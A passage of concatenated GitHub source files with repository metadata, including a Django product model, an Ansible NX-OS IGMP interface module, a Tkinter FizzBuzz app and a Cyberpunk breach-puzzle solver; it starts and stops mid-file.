mimetype='application/json')\n\n\ndef get_image_size(image_raw):\n\timage = cv2.imread(image_raw)\n\treturn image.shape[1], image.shape[0]\n\n\ndef make_directory_if_missing(name):\n\tif not os.path.exists(name):\n\t\tprint(\"Making new directory named {}\".format(name))\n\t\tos.makedirs(name)\n\n\ndef get_image_name():\n\t# Image name format TL_
+\n\tnow = datetime.now()\n\tdate_string = now.strftime(\"%d-%m-%Y_%H-%M-%S\")\n\treturn \"TL_\" + date_string + \".jpg\"\n\n\ndef get_video_name(suffix):\n\tnow = datetime.now()\n\tdate_string = now.strftime(\"%d-%m-%Y_%H-%M\")\n\treturn \"TL_Video_\" + date_string + suffix + \".mp4\"\n\n\n# start flask app\napp.run(host=\"0.0.0.0\", port=5000)\n\n","repo_name":"ataffe/Remote-Time-Lapse","sub_path":"receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1138422740","text":"from django.db import models\nfrom django.conf import settings\nfrom django.shortcuts import reverse\n# Create your models here.\n\n\n\n\nclass Category(models.Model):\n name = models.CharField(max_length=150, db_index=True)\n slug = models.SlugField(max_length=150, unique=True ,db_index=True)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n class Meta:\n ordering = ('name', )\n verbose_name = 'category'\n verbose_name_plural = 'categories'\n\n def __str__(self):\n return self.name\n\n\n\nclass Item(models.Model):\n category = models.ForeignKey(Category, related_name='items', on_delete=models.CASCADE)\n name = models.CharField(max_length=100, db_index=True)\n slug = models.SlugField(null=True, db_index=True)\n cost_price = models.DecimalField(max_digits=10, decimal_places=2)\n sealing_price = models.DecimalField(max_digits=10, decimal_places=2)\n discount_price = models.FloatField(blank=True, null=True)\n available = models.BooleanField(default=True)\n stock = models.PositiveIntegerField()\n description = models.TextField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n image = models.ImageField(upload_to=\"profile-images\", blank=True)\n\n class Meta:\n ordering = ('name',)\n verbose_name ='item'\n verbose_name_plural = 'items'\n index_together = (('id', 'slug'),)\n\n def __str__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse(\"item:detail\", kwargs={\n 'slug': self.slug\n })","repo_name":"vanperbles/Safowood_Supply_LTD","sub_path":"Product/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"10480545168","text":"import neighbor as nb\nimport nodeFunction as nF\n\n\nclass Node:\n idNum = -1\n posX = 0\n posY = 0\n posZ = 0\n nbs = {}\n\n def setNode(self, idNum, posX, posY, posZ):\n self.idNum = idNum\n self.posX = posX\n self.posY = posY\n self.posZ = posZ\n\n def findNeighbor(self, neighborID):\n result = self.nbs.get(neighborID)\n if result is None:\n return False\n return True\n\n def calculatePos(self):\n totalMomentum = [0, 0]\n for nb in self.nbs:\n (nx, ny, _) = self.nbs[nb].getNeighborPos()\n (mx, my) = nF.calculateMomentum(self.posX, self.posY, nx, ny)\n totalMomentum[0] += mx\n totalMomentum[1] += my\n newPosX = self.posX + totalMomentum[0]\n newPosY = self.posY + totalMomentum[1]\n\n return newPosX, newPosY\n\n def moveNode(self):\n (newPosX, newPosY) = self.calculatePos()\n self.posX = newPosX\n self.posY = newPosY\n\n def updateNeighbor(self, neighbor):\n neighborID = neighbor.getNeighborID()\n (neighborPosX, neighborPosY, neighborPosZ) = neighbor.getNeighborPos()\n self.nbs[neighborID] = nb.Neighbor(neighborID, neighborPosX, neighborPosY, neighborPosZ)\n\n def getNodePos(self):\n return self.posX, self.posY, self.posZ\n\n def getNodeID(self):\n return self.idNum\n\n def clearNeighbors(self):\n self.nbs.clear()\n","repo_name":"SungJaeYu/SpreadNodes","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38441247316","text":"#!/usr/bin/python\n#\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n#\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n 'status': ['preview'],\n 'supported_by': 'network'}\n\n\nDOCUMENTATION = '''\n---\nmodule: nxos_igmp_interface\nextends_documentation_fragment: nxos\nversion_added: \"2.2\"\nshort_description: Manages IGMP interface configuration.\ndescription:\n - Manages IGMP interface configuration settings.\nauthor:\n - Jason Edelman (@jedelman8)\n - Gabriele Gerbino (@GGabriele)\nnotes:\n - Tested against NXOSv 7.3.(0)D1(1) on VIRL\n - When C(state=default), supported params will be reset to a default state.\n These include C(version), C(startup_query_interval),\n C(startup_query_count), C(robustness), C(querier_timeout), C(query_mrt),\n C(query_interval), C(last_member_qrt), C(last_member_query_count),\n C(group_timeout), C(report_llg), and C(immediate_leave).\n - When C(state=absent), all configs for C(oif_prefix), C(oif_source), and\n C(oif_routemap) will be removed.\n - PIM must be enabled to use this module.\n - This module is for Layer 3 interfaces.\n - Route-map check not performed (same as CLI) check when configuring\n route-map with 'static-oif'\n - If restart is set to true with other params set, the restart will happen\n last, i.e. after the configuration takes place.\noptions:\n interface:\n description:\n - The full interface name for IGMP configuration.\n e.g. I(Ethernet1/2).\n required: true\n version:\n description:\n - IGMP version. It can be 2 or 3.\n required: false\n default: null\n choices: ['2', '3']\n startup_query_interval:\n description:\n - Query interval used when the IGMP process starts up.\n The range is from 1 to 18000. The default is 31.\n required: false\n default: null\n startup_query_count:\n description:\n - Query count used when the IGMP process starts up.\n The range is from 1 to 10. The default is 2.\n required: false\n default: null\n robustness:\n description:\n - Sets the robustness variable. Values can range from 1 to 7.\n The default is 2.\n required: false\n default: null\n querier_timeout:\n description:\n - Sets the querier timeout that the software uses when deciding\n to take over as the querier. Values can range from 1 to 65535\n seconds. The default is 255 seconds.\n required: false\n default: null\n query_mrt:\n description:\n - Sets the response time advertised in IGMP queries.\n Values can range from 1 to 25 seconds. The default is 10 seconds.\n required: false\n default: null\n query_interval:\n description:\n - Sets the frequency at which the software sends IGMP host query\n messages. Values can range from 1 to 18000 seconds.\n he default is 125 seconds.\n required: false\n default: null\n last_member_qrt:\n description:\n - Sets the query interval waited after sending membership reports\n before the software deletes the group state. Values can range\n from 1 to 25 seconds. The default is 1 second.\n required: false\n default: null\n last_member_query_count:\n description:\n - Sets the number of times that the software sends an IGMP query\n in response to a host leave message.\n Values can range from 1 to 5. The default is 2.\n required: false\n default: null\n group_timeout:\n description:\n - Sets the group membership timeout for IGMPv2.\n Values can range from 3 to 65,535 seconds.\n The default is 260 seconds.\n required: false\n default: null\n report_llg:\n description:\n - Configures report-link-local-groups.\n Enables sending reports for groups in 224.0.0.0/24.\n Reports are always sent for nonlink local groups.\n By default, reports are not sent for link local groups.\n required: false\n choices: ['true', 'false']\n default: false\n immediate_leave:\n description:\n - Enables the device to remove the group entry from the multicast\n routing table immediately upon receiving a leave message for\n the group. Use this command to minimize the leave latency of\n IGMPv2 group memberships on a given IGMP interface because the\n device does not send group-specific queries.\n The default is disabled.\n required: false\n choices: ['true', 'false']\n default: false\n oif_routemap:\n description:\n - Configure a routemap for static outgoing interface (OIF).\n required: false\n default: null\n oif_prefix:\n description:\n - Configure a prefix for static outgoing interface (OIF).\n required: false\n default: null\n oif_source:\n description:\n - Configure a source for static outgoing interface (OIF).\n required: false\n default: null\n restart:\n description:\n - Restart IGMP.\n required: false\n choices: ['true', 'false']\n default: null\n state:\n description:\n - Manages desired state of the resource.\n required: false\n default: present\n choices: ['present', 'default']\n'''\nEXAMPLES = '''\n- nxos_igmp_interface:\n interface: ethernet1/32\n startup_query_interval: 30\n state: present\n username: \"{{ un }}\"\n password: \"{{ pwd }}\"\n host: \"{{ inventory_hostname }}\"\n'''\n\nRETURN = '''\nproposed:\n description: k/v pairs of parameters passed into module\n returned: always\n type: dict\n sample: {\"asn\": \"65535\", \"router_id\": \"1.1.1.1\", \"vrf\": \"test\"}\nexisting:\n description: k/v pairs of existing BGP configuration\n returned: always\n type: dict\n sample: {\"asn\": \"65535\", \"bestpath_always_compare_med\": false,\n \"bestpath_aspath_multipath_relax\": false,\n \"bestpath_compare_neighborid\": false,\n \"bestpath_compare_routerid\": false,\n \"bestpath_cost_community_ignore\": false,\n \"bestpath_med_confed\": false,\n \"bestpath_med_missing_as_worst\": false,\n \"bestpath_med_non_deterministic\": false, \"cluster_id\": \"\",\n \"confederation_id\": \"\", \"confederation_peers\": \"\",\n \"graceful_restart\": true, \"graceful_restart_helper\": false,\n \"graceful_restart_timers_restart\": \"120\",\n \"graceful_restart_timers_stalepath_time\": \"300\", \"local_as\": \"\",\n \"log_neighbor_changes\": false, \"maxas_limit\": \"\",\n \"neighbor_down_fib_accelerate\": false, \"reconnect_interval\": \"60\",\n \"router_id\": \"11.11.11.11\", \"suppress_fib_pending\": false,\n \"timer_bestpath_limit\": \"\", \"timer_bgp_hold\": \"180\",\n \"timer_bgp_keepalive\": \"60\", \"vrf\": \"test\"}\nend_state:\n description: k/v pairs of BGP configuration after module execution\n returned: always\n type: dict\n sample: {\"asn\": \"65535\", \"bestpath_always_compare_med\": false,\n \"bestpath_aspath_multipath_relax\": false,\n \"bestpath_compare_neighborid\": false,\n \"bestpath_compare_routerid\": false,\n \"bestpath_cost_community_ignore\": false,\n \"bestpath_med_confed\": false,\n \"bestpath_med_missing_as_worst\": false,\n \"bestpath_med_non_deterministic\": false, \"cluster_id\": \"\",\n \"confederation_id\": \"\", \"confederation_peers\": \"\",\n \"graceful_restart\": true, \"graceful_restart_helper\": false,\n \"graceful_restart_timers_restart\": \"120\",\n \"graceful_restart_timers_stalepath_time\": \"300\", \"local_as\": \"\",\n \"log_neighbor_changes\": false, \"maxas_limit\": \"\",\n \"neighbor_down_fib_accelerate\": false, \"reconnect_interval\": \"60\",\n \"router_id\": \"1.1.1.1\", \"suppress_fib_pending\": false,\n \"timer_bestpath_limit\": \"\", \"timer_bgp_hold\": \"180\",\n \"timer_bgp_keepalive\": \"60\", \"vrf\": \"test\"}\nupdates:\n description: commands sent to the device\n returned: always\n type: list\n sample: [\"router bgp 65535\", \"vrf test\", \"router-id 1.1.1.1\"]\nchanged:\n description: check to see if a change was made on the device\n returned: always\n type: boolean\n sample: true\n'''\n\nfrom ansible.module_utils.nxos import get_config, load_config, run_commands\nfrom ansible.module_utils.nxos import nxos_argument_spec, check_args\nfrom ansible.module_utils.basic import AnsibleModule\n\nimport re\n\ndef execute_show_command(command, module, command_type='cli_show'):\n if command_type == 'cli_show_ascii':\n cmds = [{\n 'command': command,\n 'output': 'text',\n }]\n else:\n cmds = [{\n 'command': command,\n 'output': 'json',\n }]\n\n return run_commands(module, cmds)\n\n\ndef get_interface_mode(interface, intf_type, module):\n command = 'show interface {0}'.format(interface)\n interface = {}\n mode = 'unknown'\n\n if intf_type in ['ethernet', 'portchannel']:\n body = execute_show_command(command, module)[0]\n interface_table = body['TABLE_interface']['ROW_interface']\n mode = str(interface_table.get('eth_mode', 'layer3'))\n if mode == 'access' or mode == 'trunk':\n mode = 'layer2'\n elif intf_type == 'loopback' or intf_type == 'svi':\n mode = 'layer3'\n return mode\n\n\ndef get_interface_type(interface):\n if interface.upper().startswith('ET'):\n return 'ethernet'\n elif interface.upper().startswith('VL'):\n return 'svi'\n elif interface.upper().startswith('LO'):\n return 'loopback'\n elif interface.upper().startswith('MG'):\n return 'management'\n elif interface.upper().startswith('MA'):\n return 'management'\n elif interface.upper().startswith('PO'):\n return 'portchannel'\n else:\n return 'unknown'\n\n\ndef apply_key_map(key_map, table):\n new_dict = {}\n for key, value in table.items():\n new_key = key_map.get(key)\n if new_key:\n value = table.get(key)\n if value:\n new_dict[new_key] = value\n else:\n new_dict[new_key] = value\n return new_dict\n\n\ndef flatten_list(command_lists):\n flat_command_list = []\n for command in command_lists:\n if isinstance(command, list):\n flat_command_list.extend(command)\n else:\n flat_command_list.append(command)\n return flat_command_list\n\n\ndef get_igmp_interface(module, interface):\n command = 'show ip igmp interface {0}'.format(interface)\n igmp = {}\n\n key_map = {\n 'IGMPVersion': 'version',\n 'ConfiguredStartupQueryInterval': 'startup_query_interval',\n 'StartupQueryCount': 'startup_query_count',\n 'RobustnessVariable': 'robustness',\n 'ConfiguredQuerierTimeout': 'querier_timeout',\n 'ConfiguredMaxResponseTime': 'query_mrt',\n 'ConfiguredQueryInterval': 'query_interval',\n 'LastMemberMTR': 'last_member_qrt',\n 'LastMemberQueryCount': 'last_member_query_count',\n 'ConfiguredGroupTimeout': 'group_timeout'\n }\n\n body = execute_show_command(command, module)[0]\n\n if body:\n resource = body['TABLE_vrf']['ROW_vrf']['TABLE_if']['ROW_if']\n igmp = apply_key_map(key_map, resource)\n report_llg = str(resource['ReportingForLinkLocal']).lower()\n if report_llg == 'true':\n igmp['report_llg'] = True\n elif report_llg == 'false':\n igmp['report_llg'] = False\n\n immediate_leave = str(resource['ImmediateLeave']).lower() # returns en or dis\n if immediate_leave == 'en' or immediate_leave == 'true':\n igmp['immediate_leave'] = True\n elif immediate_leave == 'dis' or immediate_leave == 'false':\n igmp['immediate_leave'] = False\n\n # the next block of code is used to retrieve anything with:\n # ip igmp static-oif *** i.e.. could be route-map ROUTEMAP\n # or PREFIX source , etc.\n command = 'show run interface {0} | inc oif'.format(interface)\n\n body = execute_show_command(\n command, module, command_type='cli_show_ascii')[0]\n\n staticoif = []\n if body:\n split_body = body.split('\\n')\n route_map_regex = ('.*ip igmp static-oif route-map\\s+'\n '(?P\\S+).*')\n prefix_source_regex = ('.*ip igmp static-oif\\s+(?P'\n '((\\d+.){3}\\d+))(\\ssource\\s'\n '(?P\\S+))?.*')\n\n for line in split_body:\n temp = {}\n try:\n match_route_map = re.match(route_map_regex, line, re.DOTALL)\n route_map = match_route_map.groupdict()['route_map']\n except AttributeError:\n route_map = ''\n\n try:\n match_prefix_source = re.match(\n prefix_source_regex, line, re.DOTALL)\n prefix_source_group = match_prefix_source.groupdict()\n prefix = prefix_source_group['prefix']\n source = prefix_source_group['source']\n except AttributeError:\n prefix = ''\n source = ''\n\n if route_map:\n temp['route_map'] = route_map\n if prefix:\n temp['prefix'] = prefix\n if source:\n temp['source'] = source\n if temp:\n staticoif.append(temp)\n\n igmp['oif_routemap'] = None\n igmp['oif_prefix_source'] = []\n\n if staticoif:\n if len(staticoif) == 1 and staticoif[0].get('route_map'):\n igmp['oif_routemap'] = staticoif[0]['route_map']\n else:\n igmp['oif_prefix_source'] = staticoif\n\n return igmp\n\n\ndef config_igmp_interface(delta, found_both, found_prefix):\n CMDS = {\n 'version': 'ip igmp version {0}',\n 'startup_query_interval': 'ip igmp startup-query-interval {0}',\n 'startup_query_count': 'ip igmp startup-query-count {0}',\n 'robustness': 'ip igmp robustness-variable {0}',\n 'querier_timeout': 'ip igmp querier-timeout {0}',\n 'query_mrt': 'ip igmp query-max-response-time {0}',\n 'query_interval': 'ip igmp query-interval {0}',\n 'last_member_qrt': 'ip igmp last-member-query-response-time {0}',\n 'last_member_query_count': 'ip igmp last-member-query-count {0}',\n 'group_timeout': 'ip igmp group-timeout {0}',\n 'report_llg': 'ip igmp report-link-local-groups',\n 'immediate_leave': 'ip igmp immediate-leave',\n 'oif_prefix_source': 'ip igmp static-oif {0} source {1} ',\n 'oif_routemap': 'ip igmp static-oif route-map {0}',\n 'oif_prefix': 'ip igmp static-oif {0}',\n }\n\n commands = []\n command = None\n\n for key, value in delta.items():\n if key == 'oif_source' or found_both or found_prefix:\n pass\n elif key == 'oif_prefix':\n if delta.get('oif_source'):\n command = CMDS.get('oif_prefix_source').format(\n delta.get('oif_prefix'), delta.get('oif_source'))\n else:\n command = CMDS.get('oif_prefix').format(\n delta.get('oif_prefix'))\n elif value:\n command = CMDS.get(key).format(value)\n elif not value:\n command = 'no {0}'.format(CMDS.get(key).format(value))\n\n if command:\n if command not in commands:\n commands.append(command)\n command = None\n\n return commands\n\n\ndef get_igmp_interface_defaults():\n version = '2'\n startup_query_interval = '31'\n startup_query_count = '2'\n robustness = '2'\n querier_timeout = '255'\n query_mrt = '10'\n query_interval = '125'\n last_member_qrt = '1'\n last_member_query_count = '2'\n group_timeout = '260'\n report_llg = False\n immediate_leave = False\n\n args = dict(version=version, startup_query_interval=startup_query_interval,\n startup_query_count=startup_query_count, robustness=robustness,\n querier_timeout=querier_timeout, query_mrt=query_mrt,\n query_interval=query_interval, last_member_qrt=last_member_qrt,\n last_member_query_count=last_member_query_count,\n group_timeout=group_timeout, report_llg=report_llg,\n immediate_leave=immediate_leave)\n\n default = dict((param, value) for (param, value) in args.items()\n if value is not None)\n\n return default\n\n\ndef config_default_igmp_interface(existing, delta, found_both, found_prefix):\n commands = []\n proposed = get_igmp_interface_defaults()\n delta = dict(set(proposed.items()).difference(existing.items()))\n if delta:\n command = config_igmp_interface(delta, found_both, found_prefix)\n\n if command:\n for each in command:\n commands.append(each)\n\n return commands\n\n\ndef config_remove_oif(existing, existing_oif_prefix_source):\n commands = []\n command = None\n if existing.get('routemap'):\n command = 'no ip igmp static-oif route-map {0}'.format(\n existing.get('routemap'))\n if existing_oif_prefix_source:\n for each in existing_oif_prefix_source:\n if each.get('prefix') and each.get('source'):\n command = 'no ip igmp static-oif {0} source {1} '.format(\n each.get('prefix'), each.get('source')\n )\n elif each.get('prefix'):\n command = 'no ip igmp static-oif {0}'.format(\n each.get('prefix')\n )\n if command:\n commands.append(command)\n command = None\n\n return commands\n\n\ndef main():\n argument_spec = dict(\n interface=dict(required=True, type='str'),\n version=dict(required=False, type='str'),\n startup_query_interval=dict(required=False, type='str'),\n startup_query_count=dict(required=False, type='str'),\n robustness=dict(required=False, type='str'),\n querier_timeout=dict(required=False, type='str'),\n query_mrt=dict(required=False, type='str'),\n query_interval=dict(required=False, type='str'),\n last_member_qrt=dict(required=False, type='str'),\n last_member_query_count=dict(required=False, type='str'),\n group_timeout=dict(required=False, type='str'),\n report_llg=dict(type='bool'),\n immediate_leave=dict(type='bool'),\n oif_routemap=dict(required=False, type='str'),\n oif_prefix=dict(required=False, type='str'),\n oif_source=dict(required=False, type='str'),\n restart=dict(type='bool', default=False),\n state=dict(choices=['present', 'absent', 'default'],\n default='present'),\n include_defaults=dict(default=True),\n config=dict(),\n save=dict(type='bool', default=False)\n )\n\n argument_spec.update(nxos_argument_spec)\n\n module = AnsibleModule(argument_spec=argument_spec,\n supports_check_mode=True)\n\n warnings = list()\n check_args(module, warnings)\n\n\n state = module.params['state']\n interface = module.params['interface']\n oif_prefix = module.params['oif_prefix']\n oif_source = module.params['oif_source']\n oif_routemap = module.params['oif_routemap']\n\n if oif_source:\n if not oif_prefix:\n module.fail_json(msg='oif_prefix required when setting oif_source')\n\n intf_type = get_interface_type(interface)\n if get_interface_mode(interface, intf_type, module) == 'layer2':\n module.fail_json(msg='this module only works on Layer 3 interfaces')\n\n if oif_prefix and oif_routemap:\n module.fail_json(msg='cannot use oif_prefix AND oif_routemap.'\n ' select one.')\n\n existing = get_igmp_interface(module, interface)\n existing_copy = existing.copy()\n end_state = existing_copy\n\n if not existing.get('version'):\n module.fail_json(msg='pim needs to be enabled on the interface')\n\n existing_oif_prefix_source = existing.get('oif_prefix_source')\n # not json serializable\n existing.pop('oif_prefix_source')\n\n if oif_routemap and existing_oif_prefix_source:\n module.fail_json(msg='Delete static-oif configurations on this '\n 'interface if you want to use a routemap')\n\n if oif_prefix and existing.get('oif_routemap'):\n module.fail_json(msg='Delete static-oif route-map configuration '\n 'on this interface if you want to config '\n 'static entries')\n\n args = [\n 'version',\n 'startup_query_interval',\n 'startup_query_count',\n 'robustness',\n 'querier_timeout',\n 'query_mrt',\n 'query_interval',\n 'last_member_qrt',\n 'last_member_query_count',\n 'group_timeout',\n 'report_llg',\n 'immediate_leave',\n 'oif_routemap',\n 'oif_prefix',\n 'oif_source'\n ]\n\n changed = False\n commands = []\n proposed = dict((k, v) for k, v in module.params.items()\n if v is not None and k in args)\n\n CANNOT_ABSENT = ['version', 'startup_query_interval',\n 'startup_query_count', 'robustness', 'querier_timeout',\n 'query_mrt', 'query_interval', 'last_member_qrt',\n 'last_member_query_count', 'group_timeout', 'report_llg',\n 'immediate_leave']\n\n if state == 'absent':\n for each in CANNOT_ABSENT:\n if each in proposed:\n module.fail_json(msg='only params: oif_prefix, oif_source, '\n 'oif_routemap can be used when '\n 'state=absent')\n\n # delta check for all params except oif_prefix and oif_source\n delta = dict(set(proposed.items()).difference(existing.items()))\n\n # now check to see there is a delta for prefix and source command option\n found_both = False\n found_prefix = False\n\n if existing_oif_prefix_source:\n if oif_prefix and oif_source:\n for each in existing_oif_prefix_source:\n if (oif_prefix == each.get('prefix') and\n oif_source == each.get('source')):\n found_both = True\n if not found_both:\n delta['prefix'] = oif_prefix\n delta['source'] = oif_source\n elif oif_prefix:\n for each in existing_oif_prefix_source:\n if oif_prefix == each.get('prefix') and not each.get('source'):\n found_prefix = True\n if not found_prefix:\n delta['prefix'] = oif_prefix\n\n if state == 'present':\n if delta:\n command = config_igmp_interface(delta, found_both, found_prefix)\n if command:\n commands.append(command)\n\n elif state == 'default':\n command = config_default_igmp_interface(existing, delta,\n found_both, found_prefix)\n if command:\n commands.append(command)\n elif state == 'absent':\n command = None\n if existing.get('oif_routemap') or existing_oif_prefix_source:\n command = config_remove_oif(existing, existing_oif_prefix_source)\n\n if command:\n commands.append(command)\n\n command = config_default_igmp_interface(existing, delta,\n found_both, found_prefix)\n if command:\n commands.append(command)\n\n if module.params['restart']:\n commands.append('restart igmp')\n\n cmds = []\n results = {}\n if commands:\n commands.insert(0, ['interface {0}'.format(interface)])\n cmds = flatten_list(commands)\n\n if module.check_mode:\n module.exit_json(changed=True, commands=cmds)\n else:\n load_config(module, cmds)\n changed = True\n end_state = get_igmp_interface(module, interface)\n if 'configure' in cmds:\n cmds.pop(0)\n\n results['proposed'] = proposed\n results['existing'] = existing_copy\n results['updates'] = cmds\n results['changed'] = changed\n results['warnings'] = warnings\n results['end_state'] = end_state\n\n module.exit_json(**results)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"zhxfei/My-Admin","sub_path":"env/lib/python3.5/site-packages/ansible/modules/network/nxos/nxos_igmp_interface.py","file_name":"nxos_igmp_interface.py","file_ext":"py","file_size_in_byte":25345,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"52"} +{"seq_id":"73238199204","text":"import tkinter as tk\n\ndef show_entry_fields():\n x,y,z = 0,0,0\n for num in range(int(e1.get()),int(e2.get())):\n tk.Label(master, text=\"%s\" % num).grid(row=9, column=num+1)\n if num % 3==0 and num % 5 == 0:\n print('FizzBuzz')\n x = 1+x\n elif num % 3 == 0:\n print('Fizz')\n y = 1+y\n elif num % 5 == 0:\n print('Buzz')\n z = 1+z\n else:\n print(num)\n\n\n print(\"First Name: %s\\nLast Name: %s\" % (e1.get(), e2.get()))\n #master.insert(tk.end, x, y)\n print(\"\\nfizzbuzz count: %s\\n\" % x)\n print(\"fizz count: %s\\n\" % y)\n print(\"buzz count: %s\\n\" % z)\n tk.Label(master, text=\"fizzbuzz count: %s\" % x).grid(row=10)\n tk.Label(master, text=\"fizz count: %s\" % y).grid(row=11)\n tk.Label(master, text=\"buzz count: %s\" % z).grid(row=12)\n\n\n\n\n\nmaster = tk.Tk()\n\ntk.Label(master,text=\"First number\").grid(row=0)\ntk.Label(master,text=\"Last number\").grid(row=1)\nmaster.geometry(\"800x500\")\n\n\n\n\ne1 = tk.Entry(master).grid(row=0, column=1)\ne2 = tk.Entry(master).grid(row=1, column=1)\n\n\n\ntk.Button(master,text='Quit',command=master.quit).grid(row=3,column=0,sticky=tk.W,pady=4,padx=4)\n\ntk.Button(master,text='Show', command=show_entry_fields).grid(row=3,column=1,sticky=tk.W,pady=4,padx=4)\n\n\n\ntk.mainloop()\n\n\n\n\n","repo_name":"jdan37/Inventory","sub_path":"fbg.py","file_name":"fbg.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"23374229140","text":"p1 = input(\"Player 1? \")\np2 = input(\"Player 2? \")\ntest = (p1, p2)\nr = 'rock'\ns = 'scissors'\np = 'paper'\n\nif p1 in (r, s, p) and p2 in (r, s, p):\n if(p1 == p2):\n print(\"Draw.\")\n elif test in ((r, s), (s, p), (p, r)):\n print(\"Player 1 wins.\")\n else:\n print(\"Player 2 wins.\")\nelse:\n print(\"Error.\")\n","repo_name":"tdthuan97/Myday001","sub_path":"rock_paper_scissors/rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21874941496","text":"import dill\n\nfrom pathlib import Path\n\ndef find_paths(G, node, length):\n '''\n Taken from: https://stackoverflow.com/questions/28095646/finding-all-paths-walks-of-given-length-in-a-networkx-graph/28103735#28103735\n '''\n if length == 0:\n return [[node]]\n\n paths = [[node] + path for neighbor in G.neighbors(node) for path in find_paths(G, neighbor, length - 1) if node not in path]\n\n return paths\n\ndef evaluate_path(path):\n for e, ((x1, y1), (x2, y2)) in enumerate(zip(path, path[1:]), 1):\n if e == 1:\n if x1 != x2:\n continue\n else:\n return False\n if e % 2 == 0:\n if x1 != x2:\n return False\n if y1 == y2:\n return False\n else:\n if x1 == x2:\n return False\n if y1 != y2:\n return False\n return True\n\ndef filter_found_paths(paths):\n return [i for i in paths if evaluate_path(i)]\n\ndef path_to_sequence(g, path):\n return [g.nodes[n]['label'] for n in path]\n\ndef check_solution(graph, target_paths, path):\n target_paths_copy = [i for i in target_paths]\n\n path = path_to_sequence(graph, path)\n\n for point in path:\n for e, t in enumerate(target_paths_copy):\n if t:\n if t[0] == point:\n target_paths_copy[e] = t[1:]\n\n return [False if len(t) else True for t in target_paths_copy]\n\ndef score_solutions(graph, target_paths, solutions):\n best = dict(path=None, score=0)\n\n for p in solutions:\n matches = check_solution(graph, target_paths, p)\n score = sum([m * w for m, w in zip(matches, [1, 2, 4])])\n\n if score == 6:\n best['path'] = p\n best['score'] = score\n best['sequence'] = path_to_sequence(graph, p)\n best['readable_path'] = [f\"{c}:{x + 1}-{y + 1}\" for c, (x, y) in zip(best['sequence'], p)]\n best['matched'] = [e for e, m in enumerate(matches, 1) if m]\n break\n\n if score > best['score']:\n best['path'] = p\n best['score'] = score\n best['sequence'] = path_to_sequence(graph, p)\n best['readable_path'] = [f\"{c}:{x + 1}-{y + 1}\" for c, (x, y) in zip(best['sequence'], p)]\n best['matched'] = [e for e, m in enumerate(matches, 1) if m]\n\n if best['path']:\n return best\n else:\n return None\n\ndef solve(puzzle):\n\n if puzzle.grid_shape == 5:\n\n try:\n fp = Path(f'solver/data/{puzzle.buffer_size}.dill')\n\n with open(fp, 'rb') as fp:\n all_paths = dill.load(fp)\n except FileNotFoundError:\n fp = Path(f'data/{puzzle.buffer_size}.dill')\n\n with open(fp, 'rb') as fp:\n all_paths = dill.load(fp)\n\n all_paths = filter_found_paths(all_paths)\n\n else:\n all_paths = []\n\n start_points = [(0, x) for x in range(puzzle.grid_shape)]\n\n for start_point in start_points:\n paths = find_paths(puzzle.graph,\n start_point,\n puzzle.buffer_size - 1)\n\n all_paths.extend(filter_found_paths(paths))\n\n return score_solutions(puzzle.graph, puzzle.targets, all_paths)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"alexanderrobertson/cyberpunk_breach_solver","sub_path":"solver/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30149935547","text":"from django.http import JsonResponse, HttpResponse\nfrom study.models import Teacher, Student, Content, Category, Curriculum\nimport json\nimport traceback\n\n\ndef get_body(request):\n \"\"\"\n :param request: Django http request instance\n :return: data from x-www-form-urlencoded or json body\n \"\"\"\n try:\n return json.loads(request.body)\n except:\n if request.method == 'POST':\n return request.POST\n elif request.method == 'PUT':\n return request.PUT\n return {}\n\n\ndef logged_in_student(request) -> Student or None:\n student_id = request.session.get('student')\n if student_id:\n try:\n student = Student.objects.get(id=student_id)\n return student\n except:\n return None\n return None\n\n\ndef logged_in_teacher(request) -> Teacher or None:\n teacher_id = request.session.get('teacher')\n if teacher_id:\n try:\n teacher = Teacher.objects.get(id=teacher_id)\n return teacher\n except:\n return None\n return None\n\n\ndef verify_data(data: dict, contains: list) -> str or None:\n \"\"\"\n :param data: body dict\n :param contains: contents must be contained in body\n :return: None if no problem, else return name of required content\n \"\"\"\n for c in contains:\n if c not in data:\n return c\n return None\n\n\ndef get_response(logger, request, code: int, data: dict or list = None, msg: str = None, teacher_id: int = None, student_id: int = None) -> HttpResponse:\n \"\"\"\n :param logger: logger\n :param request: original request for logging\n :param code: status code for response\n :param data: body for response or data included in message\n :param msg: message for error\n :param teacher_id: teacher id for logging\n :param student_id: student id for logging\n :return:\n \"\"\"\n response = {}\n if code == 200: # Success\n response = {\n 'status_code': code,\n 'message': 'Success'\n }\n if data is not None:\n response['data'] = data\n elif code == 400: # Unknown user error\n response = {\n 'status_code': code,\n 'message': msg,\n }\n elif code == 401: # Unknown user error\n response = {\n 